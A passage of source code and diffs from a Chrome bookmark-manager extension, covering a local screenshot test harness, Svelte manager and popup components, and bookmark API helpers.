const storage = { local, sync: area(), session: area(), onChanged: listeners() };
|
||||
globalThis.chrome = {
|
||||
bookmarks, storage,
|
||||
runtime: { id: 'harness', getManifest: () => manifest, getURL: (p) => location.origin + (p.startsWith('/') ? p : '/' + p), getContexts: async () => [], lastError: undefined },
|
||||
i18n: { getUILanguage: () => lang, getMessage: (k) => k },
|
||||
tabs: { create: async () => ({}), update: async () => ({}), getCurrent: async () => ({ id: 1 }) },
|
||||
windows: { update: async () => ({}) },
|
||||
};
|
||||
})();`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Every file of the build, by the URL path that serves it. A request is looked
|
||||
* up here and never joined onto a directory, so no request can name a file
|
||||
* outside the build — `..`, encoded separators and prefix tricks included.
|
||||
* (A prefix check after `join` did the same job, but SonarCloud's taint
|
||||
* analysis, S2083, cannot see it; an allowlist it can.)
|
||||
*
|
||||
* @returns {Map<string, string>}
|
||||
*/
|
||||
function buildIndex() {
|
||||
const index = new Map();
|
||||
/** @param {string} dir */
|
||||
const walk = (dir) => {
|
||||
for (const entry of readdirSync(dir, { withFileTypes: true })) {
|
||||
const full = join(dir, entry.name);
|
||||
if (entry.isDirectory()) walk(full);
|
||||
else index.set(`/${relative(OUT, full).split(sep).join('/')}`, full);
|
||||
}
|
||||
};
|
||||
walk(OUT);
|
||||
return index;
|
||||
}
|
||||
|
||||
function serve() {
|
||||
const csp = productionCsp();
|
||||
let files = buildIndex();
|
||||
/**
|
||||
* A rebuild while the harness runs renames the hashed chunks, so a miss
|
||||
* re-lists once. `wxt build` empties the directory first; listing it then
|
||||
* throws, and an uncaught throw in the handler ended the whole process.
|
||||
* @param {string} urlPath @returns {string | undefined}
|
||||
*/
|
||||
const lookup = (urlPath) => {
|
||||
if (files.has(urlPath)) return files.get(urlPath);
|
||||
try {
|
||||
files = buildIndex();
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
return files.get(urlPath);
|
||||
};
|
||||
const server = createServer((req, res) => {
|
||||
const url = new URL(req.url ?? '/', `http://${HOST}:${PORT}`);
|
||||
if (url.pathname === '/__shim.js') {
|
||||
res.writeHead(200, { 'content-type': TYPES['.js'] ?? '' }).end(shim());
|
||||
return;
|
||||
}
|
||||
let decoded;
|
||||
try {
|
||||
decoded = decodeURIComponent(url.pathname);
|
||||
} catch {
|
||||
// A malformed escape (`%E0%A4%A`) used to throw out of the handler.
|
||||
res.writeHead(400).end('bad request');
|
||||
return;
|
||||
}
|
||||
const path = lookup(decoded);
|
||||
if (path === undefined) {
|
||||
res.writeHead(404).end('not found');
|
||||
return;
|
||||
}
|
||||
const type = TYPES[extname(path)] ?? 'application/octet-stream';
|
||||
let body;
|
||||
try {
|
||||
body = readFileSync(path);
|
||||
} catch {
|
||||
// Listed, then deleted: a build is rewriting .output under us.
|
||||
res.writeHead(503).end('build in progress');
|
||||
return;
|
||||
}
|
||||
if (type.startsWith('text/html')) {
|
||||
const tags = `<meta http-equiv="Content-Security-Policy" content="${csp}"><script src="/__shim.js"></script>`;
|
||||
body = Buffer.from(body.toString('utf8').replace('<head>', `<head>${tags}`));
|
||||
}
|
||||
res.writeHead(200, { 'content-type': type, 'cache-control': 'no-store' }).end(body);
|
||||
});
|
||||
server.listen(PORT, HOST, () =>
|
||||
console.log(`harness: http://${HOST}:${PORT}/manager.html#import`),
|
||||
);
|
||||
return server;
|
||||
}
|
||||
|
||||
function findChrome() {
|
||||
const candidates = [
|
||||
process.env.CHROME_PATH,
|
||||
'C:/Program Files/Google/Chrome/Application/chrome.exe',
|
||||
'C:/Program Files (x86)/Google/Chrome/Application/chrome.exe',
|
||||
'/Applications/Google Chrome.app/Contents/MacOS/Google Chrome',
|
||||
'/usr/bin/google-chrome',
|
||||
'/usr/bin/chromium',
|
||||
];
|
||||
return candidates.find((path) => path !== undefined && existsSync(path));
|
||||
}
|
||||
|
||||
/**
|
||||
* One headless screenshot. Asynchronous on purpose: the server answering
|
||||
* Chrome's requests runs in this same process, and 1.1.0's first cut used
|
||||
* `execFileSync`, which blocked the event loop — Chrome waited for a page the
|
||||
* blocked server could never send, and `--shoot` hung forever.
|
||||
*
|
||||
* @param {string} chrome @param {string} profile @param {string} url
|
||||
* @param {string} file @param {string} size
|
||||
*/
|
||||
async function shoot(chrome, profile, url, file, size) {
|
||||
await run(
|
||||
chrome,
|
||||
[
|
||||
'--headless=new',
|
||||
`--user-data-dir=${profile}`,
|
||||
'--no-first-run',
|
||||
'--disable-gpu',
|
||||
'--hide-scrollbars',
|
||||
`--window-size=${size}`,
|
||||
'--virtual-time-budget=4000',
|
||||
`--screenshot=${file}`,
|
||||
url,
|
||||
],
|
||||
{ timeout: 60_000 },
|
||||
);
|
||||
}
|
||||
|
||||
if (!existsSync(join(OUT, 'manifest.json'))) {
|
||||
console.error('harness: no build found — run `npm run build` first.');
|
||||
process.exitCode = 1;
|
||||
} else {
|
||||
const server = serve();
|
||||
if (process.argv.includes('--shoot')) {
|
||||
const chrome = findChrome();
|
||||
if (chrome === undefined) {
|
||||
console.error('harness: no Chrome found — set CHROME_PATH.');
|
||||
process.exitCode = 1;
|
||||
server.close();
|
||||
} else {
|
||||
const qa = join(OUT, '..', 'qa-screens');
|
||||
const capture = join(ROOT, 'capture');
|
||||
const store = join(ROOT, 'store', 'screenshots');
|
||||
for (const dir of [qa, capture, store]) mkdirSync(dir, { recursive: true });
|
||||
const profile = mkdtempSync(join(tmpdir(), 'bookmarkmagic-harness-'));
|
||||
const page = (/** @type {string} */ query, /** @type {string} */ route) =>
|
||||
`http://${HOST}:${PORT}/manager.html?${query}#${route}`;
|
||||
const ROUTES = ['import', 'export', 'edit', 'settings', 'about'];
|
||||
try {
|
||||
for (const lang of ['en', 'vi', 'ja']) {
|
||||
for (const theme of ['light', 'dark']) {
|
||||
for (const route of ROUTES) {
|
||||
const file = join(qa, `${route}-${theme}-${lang}.png`);
|
||||
await shoot(
|
||||
chrome,
|
||||
profile,
|
||||
page(`theme=${theme}&lang=${lang}`, route),
|
||||
file,
|
||||
'1280,800',
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
for (const route of ROUTES) {
|
||||
await shoot(
|
||||
chrome,
|
||||
profile,
|
||||
page('theme=light&lang=en', route),
|
||||
join(capture, `${route}.png`),
|
||||
'1280,800',
|
||||
);
|
||||
}
|
||||
for (const route of ['edit', 'export', 'import']) {
|
||||
await shoot(
|
||||
chrome,
|
||||
profile,
|
||||
page('theme=dark&lang=en', route),
|
||||
join(store, `${route}.png`),
|
||||
'1280,800',
|
||||
);
|
||||
}
|
||||
await shoot(
|
||||
chrome,
|
||||
profile,
|
||||
`http://${HOST}:${PORT}/popup.html?theme=light&lang=en`,
|
||||
join(capture, 'popup.png'),
|
||||
'360,420',
|
||||
);
|
||||
} finally {
|
||||
rmSync(profile, { recursive: true, force: true });
|
||||
server.close();
|
||||
}
|
||||
console.log(`harness: screenshots in ${qa}, ${capture} and ${store}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,5 @@
|
||||
<script lang="ts">
|
||||
import { onMount } from 'svelte';
|
||||
import { getAppVersion } from '@/lib/browser/app-info';
|
||||
import AboutTab from '@/lib/components/AboutTab.svelte';
|
||||
import EditTab from '@/lib/components/EditTab.svelte';
|
||||
import ExportTab from '@/lib/components/ExportTab.svelte';
|
||||
@@ -8,20 +7,22 @@
|
||||
import LanguageSwitcher from '@/lib/components/LanguageSwitcher.svelte';
|
||||
import LegalGate from '@/lib/components/LegalGate.svelte';
|
||||
import SettingsTab from '@/lib/components/SettingsTab.svelte';
|
||||
import StatusBar from '@/lib/components/StatusBar.svelte';
|
||||
import TabBar from '@/lib/components/TabBar.svelte';
|
||||
import ThemeToggle from '@/lib/components/ThemeToggle.svelte';
|
||||
import Toast from '@/lib/components/Toast.svelte';
|
||||
import Icon from '@/lib/components/icons/Icon.svelte';
|
||||
import { t } from '@/lib/i18n/index.svelte';
|
||||
import { isWriting } from '@/lib/stores/import-session.svelte';
|
||||
import { REPO_URL } from '@/lib/links';
|
||||
import {
|
||||
getBlockedRoutes,
|
||||
getLegalStatus,
|
||||
isGatedRoute,
|
||||
isGateRequired,
|
||||
} from '@/lib/stores/legal.svelte';
|
||||
import { getRoute, navigate, startRouting } from '@/lib/stores/route.svelte';
|
||||
import { getRoute, isRoute, navigate, startRouting } from '@/lib/stores/route.svelte';
|
||||
import { subscribeStorage } from '@/lib/browser/storage';
|
||||
import { onNavigateRequest } from '@/lib/browser/open-manager';
|
||||
import { adoptExternalLegal } from '@/lib/stores/legal.svelte';
|
||||
import {
|
||||
adoptExternalSettings,
|
||||
@@ -33,12 +34,24 @@
|
||||
|
||||
// Settings are loaded and awaited in main.ts, before this ever mounts.
|
||||
const settings = $derived(getSettings());
|
||||
const version = getAppVersion();
|
||||
const legal = $derived(getLegalStatus());
|
||||
const gated = $derived(isGateRequired() && isGatedRoute(getRoute()));
|
||||
|
||||
let mainEl: HTMLElement | undefined = $state();
|
||||
|
||||
const ROUTE_KEYS = {
|
||||
import: 'common.import',
|
||||
export: 'common.export',
|
||||
edit: 'common.edit',
|
||||
settings: 'common.settings',
|
||||
about: 'common.about',
|
||||
} as const;
|
||||
|
||||
// Each route names its own tab in the browser's tab strip and history (uL16).
|
||||
$effect(() => {
|
||||
document.title = `${t(ROUTE_KEYS[getRoute()])} · ${t('common.appName')}`;
|
||||
});
|
||||
|
||||
onMount(() => {
|
||||
// The tab bar and the footer already refuse to navigate mid-write. This
|
||||
// closes the third door: browser Back, which fires `hashchange` directly
|
||||
@@ -72,12 +85,24 @@
|
||||
if ('legal' in change) adoptExternalLegal(change.legal ?? null);
|
||||
});
|
||||
|
||||
// The popup asks an open Manager to switch route (uM12). Refused while an
|
||||
// import is writing, exactly like the tab bar and browser Back.
|
||||
const stopNavigate = onNavigateRequest((hash) => {
|
||||
if (isWriting()) {
|
||||
pushToast(t('common.busy'), 'info');
|
||||
return;
|
||||
}
|
||||
const route = hash.slice(1);
|
||||
if (isRoute(route)) navigate(route);
|
||||
});
|
||||
|
||||
globalThis.addEventListener('beforeunload', onBeforeUnload);
|
||||
globalThis.document?.addEventListener('visibilitychange', onVisibilityChange);
|
||||
|
||||
return () => {
|
||||
stopRouting();
|
||||
stopStorage();
|
||||
stopNavigate();
|
||||
globalThis.removeEventListener('beforeunload', onBeforeUnload);
|
||||
globalThis.document?.removeEventListener('visibilitychange', onVisibilityChange);
|
||||
};
|
||||
@@ -100,8 +125,9 @@
|
||||
|
||||
<header>
|
||||
<div class="brand">
|
||||
<span class="mark" aria-hidden="true">◆</span>
|
||||
<span class="mark"><Icon name="logo" size={20} motion="pulse" /></span>
|
||||
<strong>{t('common.appName')}</strong>
|
||||
<span class="crumb mono" aria-hidden="true">~/{getRoute()}</span>
|
||||
</div>
|
||||
<TabBar blocked={getBlockedRoutes()} />
|
||||
<div class="controls">
|
||||
@@ -112,16 +138,11 @@
|
||||
|
||||
<main bind:this={mainEl} tabindex="-1">
|
||||
{#if gated && legal.kind === 'required'}
|
||||
<!-- Fills the content region rather than covering the viewport. docs/06 §3
|
||||
calls it "a full overlay", but docs/14 §2 (echoed in docs/03 §4 and the
|
||||
docs/15 log) requires #settings and #about to stay reachable while it
|
||||
is up — a literal inset:0 scrim would bury the footer links that get
|
||||
you there. Header and footer stay live; the three blocked tabs are
|
||||
disabled via TabBar's `blocked`.
|
||||
|
||||
Side effect worth keeping: the Import/Export/Edit tabs never mount
|
||||
before acceptance, so nothing touches chrome.bookmarks until the user
|
||||
has agreed to the terms. -->
|
||||
<!-- Fills the content region rather than covering the viewport: docs/14 §2
|
||||
requires #settings and #about to stay reachable while it is up, and a
|
||||
literal inset:0 scrim would bury the status-bar links that get you
|
||||
there. The three blocked tabs never mount before acceptance, so
|
||||
nothing touches chrome.bookmarks until the user has agreed. -->
|
||||
<LegalGate status={legal} onaccepted={() => mainEl?.focus()} />
|
||||
{:else if getRoute() === 'import'}
|
||||
<ImportTab />
|
||||
@@ -136,64 +157,50 @@
|
||||
{/if}
|
||||
</main>
|
||||
|
||||
<footer>
|
||||
<span>
|
||||
<!-- Separators are `{' · '}` expressions, not literal text. Svelte trims
|
||||
trailing whitespace at an {#if} boundary, which rendered the footer as
|
||||
"v0.1.0 ·GPL-3.0". An expression is never trimmed. -->
|
||||
{#if version !== ''}v{version}{' · '}{/if}GPL-3.0{' · '}<a
|
||||
href={REPO_URL}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer">GitHub ↗</a
|
||||
>
|
||||
</span>
|
||||
<nav>
|
||||
<!-- Gated like TabBar's tabs: navigating away mid-write unmounts ImportTab
|
||||
and strands the attestation resolver, deadlocking the import
|
||||
(docs/03 §5). The footer used to be the one way around that. -->
|
||||
<button
|
||||
disabled={isWriting()}
|
||||
title={isWriting() ? t('common.busy') : undefined}
|
||||
onclick={() => navigate('settings')}>{t('common.settings')}</button
|
||||
>
|
||||
<button
|
||||
disabled={isWriting()}
|
||||
title={isWriting() ? t('common.busy') : undefined}
|
||||
onclick={() => navigate('about')}>{t('common.about')}</button
|
||||
>
|
||||
</nav>
|
||||
</footer>
|
||||
<StatusBar />
|
||||
|
||||
<!-- Mounted once, outside <main>, so the route chain below cannot unmount it
|
||||
mid-dismiss and strand a timer (docs/06 §4). -->
|
||||
<Toast />
|
||||
|
||||
<style>
|
||||
header,
|
||||
footer {
|
||||
header {
|
||||
position: sticky;
|
||||
top: 0;
|
||||
z-index: 10;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: var(--sp-4);
|
||||
max-width: 960px;
|
||||
margin: 0 auto;
|
||||
padding: var(--sp-3) var(--sp-4);
|
||||
}
|
||||
|
||||
header {
|
||||
gap: var(--sp-3) var(--sp-4);
|
||||
padding: var(--sp-2) max(var(--sp-4), calc((100% - var(--width-page)) / 2));
|
||||
border-bottom: 1px solid var(--border);
|
||||
}
|
||||
|
||||
footer {
|
||||
border-top: 1px solid var(--border);
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-0);
|
||||
background: color-mix(in srgb, var(--bg) 88%, transparent);
|
||||
backdrop-filter: blur(8px);
|
||||
}
|
||||
|
||||
.brand {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-2);
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.mark {
|
||||
display: inline-flex;
|
||||
padding: 5px;
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--accent);
|
||||
color: var(--accent-fg);
|
||||
}
|
||||
|
||||
.crumb {
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-0);
|
||||
padding: 1px 6px;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--bg-sunken);
|
||||
}
|
||||
|
||||
.controls {
|
||||
@@ -202,37 +209,29 @@
|
||||
gap: var(--sp-2);
|
||||
}
|
||||
|
||||
.mark {
|
||||
color: var(--accent);
|
||||
/* The page is a column: header, content, status bar — the bar sits at the
|
||||
bottom of the window even when the content is short. */
|
||||
:global(#app) {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
min-height: 100dvh;
|
||||
}
|
||||
|
||||
main {
|
||||
max-width: 960px;
|
||||
flex: 1;
|
||||
width: 100%;
|
||||
max-width: var(--width-page);
|
||||
margin: 0 auto;
|
||||
padding: var(--sp-5) var(--sp-4);
|
||||
min-height: 60vh;
|
||||
padding: var(--sp-5) var(--sp-4) var(--sp-6);
|
||||
}
|
||||
|
||||
footer nav {
|
||||
display: flex;
|
||||
gap: var(--sp-3);
|
||||
main:focus {
|
||||
outline: none;
|
||||
}
|
||||
|
||||
footer button {
|
||||
font: inherit;
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--fg-muted);
|
||||
cursor: pointer;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
footer button:hover:not(:disabled) {
|
||||
color: var(--accent);
|
||||
}
|
||||
|
||||
footer button:disabled {
|
||||
opacity: 0.4;
|
||||
cursor: not-allowed;
|
||||
@media (max-width: 640px) {
|
||||
.crumb {
|
||||
display: none;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
@@ -1,9 +1,14 @@
|
||||
import { mount } from 'svelte';
|
||||
import { installCrashHooks } from '@/lib/browser/diagnostics';
|
||||
import { loadLegal } from '@/lib/stores/legal.svelte';
|
||||
import { loadSettings } from '@/lib/stores/settings.svelte';
|
||||
import '@/styles/base.css';
|
||||
import App from './App.svelte';
|
||||
|
||||
// Uncaught errors reach the local diagnostics log (by name only) instead of
|
||||
// vanishing into a console nobody opens.
|
||||
installCrashHooks(window);
|
||||
|
||||
// SAFETY: the element is declared in this entrypoint's own index.html, so it
|
||||
// always exists by the time this module runs.
|
||||
const target = document.getElementById('app') as HTMLElement;
|
||||
|
||||
@@ -2,33 +2,46 @@
|
||||
import { onMount } from 'svelte';
|
||||
import { getAppVersion } from '@/lib/browser/app-info';
|
||||
import { getRootChildren } from '@/lib/browser/bookmarks';
|
||||
import { openManager } from '@/lib/browser/open-manager';
|
||||
import { num, t } from '@/lib/i18n/index.svelte';
|
||||
import { type ManagerRoute, openManager } from '@/lib/browser/open-manager';
|
||||
import Icon, { type IconName } from '@/lib/components/icons/Icon.svelte';
|
||||
import { num, t, tPlural } from '@/lib/i18n/index.svelte';
|
||||
|
||||
let counts = $state<{ bookmarks: number; folders: number } | undefined>();
|
||||
const version = getAppVersion();
|
||||
|
||||
const TILES: { hash: ManagerRoute; icon: IconName; label: string; hint: string }[] = [
|
||||
{ hash: '#import', icon: 'upload', label: 'popup.import', hint: 'popup.importHint' },
|
||||
{ hash: '#export', icon: 'download', label: 'popup.export', hint: 'popup.exportHint' },
|
||||
{ hash: '#edit', icon: 'edit', label: 'popup.manage', hint: 'popup.manageHint' },
|
||||
];
|
||||
|
||||
// Settings are loaded and awaited in main.ts, before this ever mounts.
|
||||
onMount(() => {
|
||||
void countTree();
|
||||
});
|
||||
|
||||
/** Cheap stats for the footer. No heavy work ever runs here (docs/06 §2). */
|
||||
/**
|
||||
* Cheap stats for the readout. No heavy work ever runs here (docs/06 §2).
|
||||
* Counts what lives INSIDE the roots: 1.0.x counted the three permanent root
|
||||
* folders too, so an empty profile reported "0 bookmarks · 3 folders".
|
||||
*/
|
||||
async function countTree(): Promise<void> {
|
||||
try {
|
||||
const roots = await getRootChildren();
|
||||
let bookmarks = 0;
|
||||
let folders = 0;
|
||||
const walk = (nodes: readonly { url?: string; children?: unknown[] }[]): void => {
|
||||
for (const node of nodes) {
|
||||
if (node.url === undefined) folders++;
|
||||
else bookmarks++;
|
||||
if (node.children !== undefined) {
|
||||
walk(node.children as { url?: string; children?: unknown[] }[]);
|
||||
}
|
||||
}
|
||||
};
|
||||
walk(roots);
|
||||
const stack: { url?: string; children?: unknown[] }[] = [];
|
||||
for (const root of await getRootChildren()) {
|
||||
// A loop, not push(...spread): Other Bookmarks can hold 100k children.
|
||||
for (const child of root.children ?? []) stack.push(child);
|
||||
}
|
||||
while (stack.length > 0) {
|
||||
const node = stack.pop();
|
||||
if (node === undefined) break;
|
||||
if (node.url === undefined) folders++;
|
||||
else bookmarks++;
|
||||
// SAFETY: children of a LiveNode are LiveNodes, which have this shape.
|
||||
for (const child of (node.children ?? []) as typeof stack) stack.push(child);
|
||||
}
|
||||
counts = { bookmarks, folders };
|
||||
} catch {
|
||||
counts = undefined;
|
||||
@@ -38,105 +51,192 @@
|
||||
|
||||
<main>
|
||||
<header>
|
||||
<span class="mark" aria-hidden="true">◆</span>
|
||||
<span class="mark"><Icon name="logo" size={16} /></span>
|
||||
<strong>{t('common.appName')}</strong>
|
||||
{#if version !== ''}<span class="version">v{version}</span>{/if}
|
||||
{#if version !== ''}<span class="version mono">v{version}</span>{/if}
|
||||
</header>
|
||||
|
||||
<div class="actions">
|
||||
<button onclick={() => void openManager('#import')}>⬆ {t('popup.import')}</button>
|
||||
<button onclick={() => void openManager('#export')}>⬇ {t('popup.export')}</button>
|
||||
<button onclick={() => void openManager('#edit')}>🗂 {t('popup.manage')}</button>
|
||||
<dl class="readout" aria-live="polite">
|
||||
<div>
|
||||
<dt class="eyebrow">{tPlural('popup.bookmarks', counts?.bookmarks ?? 0)}</dt>
|
||||
<dd class="mono">{counts === undefined ? '—' : num(counts.bookmarks)}</dd>
|
||||
</div>
|
||||
<div>
|
||||
<dt class="eyebrow">{tPlural('popup.folders', counts?.folders ?? 0)}</dt>
|
||||
<dd class="mono">{counts === undefined ? '—' : num(counts.folders)}</dd>
|
||||
</div>
|
||||
</dl>
|
||||
|
||||
<div class="tiles">
|
||||
{#each TILES as tile (tile.hash)}
|
||||
<button class="tile" onclick={() => void openManager(tile.hash)}>
|
||||
<span class="icon"><Icon name={tile.icon} size={18} motion="bob" /></span>
|
||||
<span class="text">
|
||||
<span class="label">{t(tile.label)}</span>
|
||||
<span class="hint">{t(tile.hint)}</span>
|
||||
</span>
|
||||
<Icon name="chevron" size={12} />
|
||||
</button>
|
||||
{/each}
|
||||
</div>
|
||||
|
||||
<footer>
|
||||
<span>
|
||||
{#if counts !== undefined}
|
||||
{t('popup.counts', { bookmarks: num(counts.bookmarks), folders: num(counts.folders) })}
|
||||
{/if}
|
||||
</span>
|
||||
<footer class="mono">
|
||||
<span class="local"><span class="dot" aria-hidden="true"></span>{t('status.local')}</span>
|
||||
<button
|
||||
class="settings"
|
||||
aria-label={t('common.settings')}
|
||||
title={t('common.settings')}
|
||||
onclick={() => void openManager('#settings')}
|
||||
>
|
||||
⚙
|
||||
<Icon name="gear" size={15} motion="spin" />
|
||||
</button>
|
||||
</footer>
|
||||
</main>
|
||||
|
||||
<style>
|
||||
main {
|
||||
width: 320px;
|
||||
width: 340px;
|
||||
padding: var(--sp-3);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--sp-3);
|
||||
}
|
||||
|
||||
header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-2);
|
||||
padding-bottom: var(--sp-3);
|
||||
border-bottom: 1px solid var(--border);
|
||||
}
|
||||
|
||||
.mark {
|
||||
color: var(--accent);
|
||||
}
|
||||
|
||||
.actions {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--sp-2);
|
||||
padding: var(--sp-3) 0;
|
||||
}
|
||||
|
||||
.actions button {
|
||||
font: inherit;
|
||||
text-align: left;
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
border: 1px solid var(--border);
|
||||
display: inline-flex;
|
||||
padding: 4px;
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--bg-raised);
|
||||
color: var(--fg);
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.actions button:hover {
|
||||
border-color: var(--accent);
|
||||
}
|
||||
|
||||
footer {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: var(--sp-2);
|
||||
padding-top: var(--sp-2);
|
||||
border-top: 1px solid var(--border);
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-0);
|
||||
min-height: 1.5em;
|
||||
background: var(--accent);
|
||||
color: var(--accent-fg);
|
||||
}
|
||||
|
||||
.version {
|
||||
margin-left: auto;
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-0);
|
||||
}
|
||||
|
||||
.readout {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 1fr;
|
||||
margin: 0;
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg-sunken);
|
||||
}
|
||||
|
||||
.readout div {
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
}
|
||||
|
||||
.readout div + div {
|
||||
border-left: 1px solid var(--border);
|
||||
}
|
||||
|
||||
dt {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
dd {
|
||||
margin: 0;
|
||||
font-size: var(--fs-4);
|
||||
font-weight: 600;
|
||||
font-variant-numeric: tabular-nums;
|
||||
line-height: 1.2;
|
||||
}
|
||||
|
||||
.tiles {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--sp-2);
|
||||
}
|
||||
|
||||
.tile {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-3);
|
||||
font: inherit;
|
||||
text-align: left;
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg);
|
||||
color: var(--fg-muted);
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.tile:hover {
|
||||
border-color: var(--accent);
|
||||
color: var(--accent);
|
||||
}
|
||||
|
||||
.icon {
|
||||
display: inline-flex;
|
||||
padding: 6px;
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--accent-subtle);
|
||||
color: var(--accent);
|
||||
}
|
||||
|
||||
.text {
|
||||
flex: 1;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.label {
|
||||
color: var(--fg);
|
||||
font-size: var(--fs-1);
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.hint {
|
||||
font-size: var(--fs-0);
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
footer {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding-top: var(--sp-2);
|
||||
border-top: 1px solid var(--border);
|
||||
font-size: var(--fs-0);
|
||||
}
|
||||
|
||||
.local {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 5px;
|
||||
color: var(--success);
|
||||
}
|
||||
|
||||
.dot {
|
||||
width: 7px;
|
||||
height: 7px;
|
||||
border-radius: 50%;
|
||||
background: currentColor;
|
||||
}
|
||||
|
||||
.settings {
|
||||
font: inherit;
|
||||
flex-shrink: 0;
|
||||
padding: 0 var(--sp-1);
|
||||
border: none;
|
||||
display: inline-flex;
|
||||
padding: 3px;
|
||||
border: 1px solid transparent;
|
||||
border-radius: var(--radius-sm);
|
||||
background: none;
|
||||
color: var(--fg-muted);
|
||||
cursor: pointer;
|
||||
font-size: var(--fs-2);
|
||||
}
|
||||
|
||||
.settings:hover {
|
||||
color: var(--accent);
|
||||
border-color: var(--border);
|
||||
}
|
||||
</style>
|
||||
@@ -37,3 +37,16 @@ export function getGeneratorVersion(): string {
|
||||
const version = getAppVersion();
|
||||
return version === '' ? 'unknown' : version;
|
||||
}
|
||||
|
||||
/**
|
||||
* The browser's UI language tag, e.g. "vi" or "ja-JP" — `'en'` when it cannot
|
||||
* be read. Here rather than in the settings store, so `stores/` reaches the
|
||||
* browser only through `browser/` (docs/02 §3, uM15).
|
||||
*/
|
||||
export function getUiLanguage(): string {
|
||||
try {
|
||||
return browser.i18n.getUILanguage();
|
||||
} catch {
|
||||
return 'en';
|
||||
}
|
||||
}
|
||||
@@ -24,6 +24,13 @@ export interface LiveNode {
|
||||
dateGroupModified?: number;
|
||||
/** Set by Chrome on policy-managed nodes; such nodes reject writes. */
|
||||
unmodifiable?: string;
|
||||
/**
|
||||
* Chrome 134+: which permanent folder a root is ('bookmarks-bar', 'other',
|
||||
* 'mobile', 'managed'), and whether it is in the signed-in account's storage
|
||||
* rather than this device's. Both exist from the 136 floor up.
|
||||
*/
|
||||
folderType?: string;
|
||||
syncing?: boolean;
|
||||
children?: LiveNode[];
|
||||
}
|
||||
|
||||
@@ -34,8 +41,21 @@ export interface BookmarkRoots {
|
||||
otherId: string;
|
||||
/** Mobile Bookmarks, when the profile has one. */
|
||||
mobileId: string | undefined;
|
||||
/** The same three roots as nodes, children included — Merge matches inside them. */
|
||||
toolbar: LiveNode;
|
||||
other: LiveNode;
|
||||
mobile: LiveNode | undefined;
|
||||
/** Writable top-level folders, in tree order, excluding managed ones. */
|
||||
writable: LiveNode[];
|
||||
/**
|
||||
* The roots Replace backs up and empties: exactly the destinations above.
|
||||
* Never an account-storage root this import does not write back into —
|
||||
* deleting one would sync the deletion to every device, and the restore
|
||||
* would land its bookmarks in local storage.
|
||||
*/
|
||||
replaceable: LiveNode[];
|
||||
/** Every top-level folder, managed ones included — what "already in this browser" means. */
|
||||
all: LiveNode[];
|
||||
}
|
||||
|
||||
async function guard<T>(operation: string, run: () => Promise<T>): Promise<T> {
|
||||
@@ -52,22 +72,54 @@ export async function getRootChildren(): Promise<LiveNode[]> {
|
||||
return (tree[0]?.children ?? []) as LiveNode[];
|
||||
}
|
||||
|
||||
const FOLDER_IDS = { 'bookmarks-bar': '1', other: '2', mobile: '3' } as const;
|
||||
|
||||
/**
|
||||
* Desktop Chrome leaves an EMPTY Mobile root out of `getTree()`, so a restore
|
||||
* into a fresh profile found no Mobile root and nested those bookmarks under
|
||||
* Other. The node still exists, and accepts writes; ask for it by id.
|
||||
*/
|
||||
async function hiddenMobileRoot(): Promise<LiveNode | undefined> {
|
||||
try {
|
||||
const [node] = (await browser.bookmarks.get(FOLDER_IDS.mobile)) as LiveNode[];
|
||||
const usable =
|
||||
node !== undefined &&
|
||||
node.url === undefined &&
|
||||
node.unmodifiable === undefined &&
|
||||
node.syncing !== true &&
|
||||
(node.folderType === undefined || node.folderType === 'mobile');
|
||||
return usable ? { ...node, children: node.children ?? [] } : undefined;
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve the destination roots.
|
||||
*
|
||||
* Ids "1"/"2"/"3" are stable in Chromium but resolving through `getTree()`
|
||||
* keeps a future Firefox target working, where roots are named ids. Nodes
|
||||
* carrying `unmodifiable` (the enterprise/supervised "Managed bookmarks"
|
||||
* folder) are excluded everywhere — writing to or removing them rejects.
|
||||
* By `folderType` first — Chrome 134+ can list a signed-in account's own bar,
|
||||
